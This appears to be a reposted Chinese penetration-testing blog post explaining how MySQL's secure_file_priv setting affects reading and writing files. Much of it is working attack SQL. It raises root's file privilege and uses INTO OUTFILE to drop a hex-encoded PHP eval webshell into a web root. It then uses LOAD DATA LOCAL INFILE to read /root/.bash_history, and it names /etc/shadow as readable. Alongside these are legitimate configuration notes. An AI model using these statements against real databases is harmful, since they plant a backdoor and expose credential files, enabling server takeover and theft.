MYSQL新特性secure_file_priv對讀寫文件的影響


在滲透測試的時候,我們使用into outfile快速寫入一句話后門時經常會出現寫入不了的情況:
update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E) into outfile '../webroot/xxxxxx.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;

不能寫入文件原因,可能是MYSQL新特性secure_file_priv對讀寫文件的影響:
//查看配置項:
SHOW VARIABLES LIKE "secure_file_priv"

//如果查到了secure_file_priv的值,再執行下列命令就可以寫入文件了:
select 123 into outfile '/var/lib/mysql-files/test1.txt '

//限制mysqld 不允許導入 | 導出:
mysqld --secure_file_prive=null

//限制mysqld 的導入 | 導出 只能發生在/tmp/目錄下:
mysqld --secure_file_priv=/tmp/

//不對mysqld 的導入 | 導出做限制:
cat /etc/my.cnf
[mysqld]
secure_file_priv=

//如果沒有權限,mysql還有個低權限讀文件漏洞,/etc/shadow /root/.bash_history都可以讀出來,下面語句測試成功 for MYSQL 5.5.53:
drop table mysql.m1
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE '/root/.bash_history' INTO TABLE mysql.m1 fields terminated by ''
select * from mysql.m1

 

點擊收藏 4關注數 | 2

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM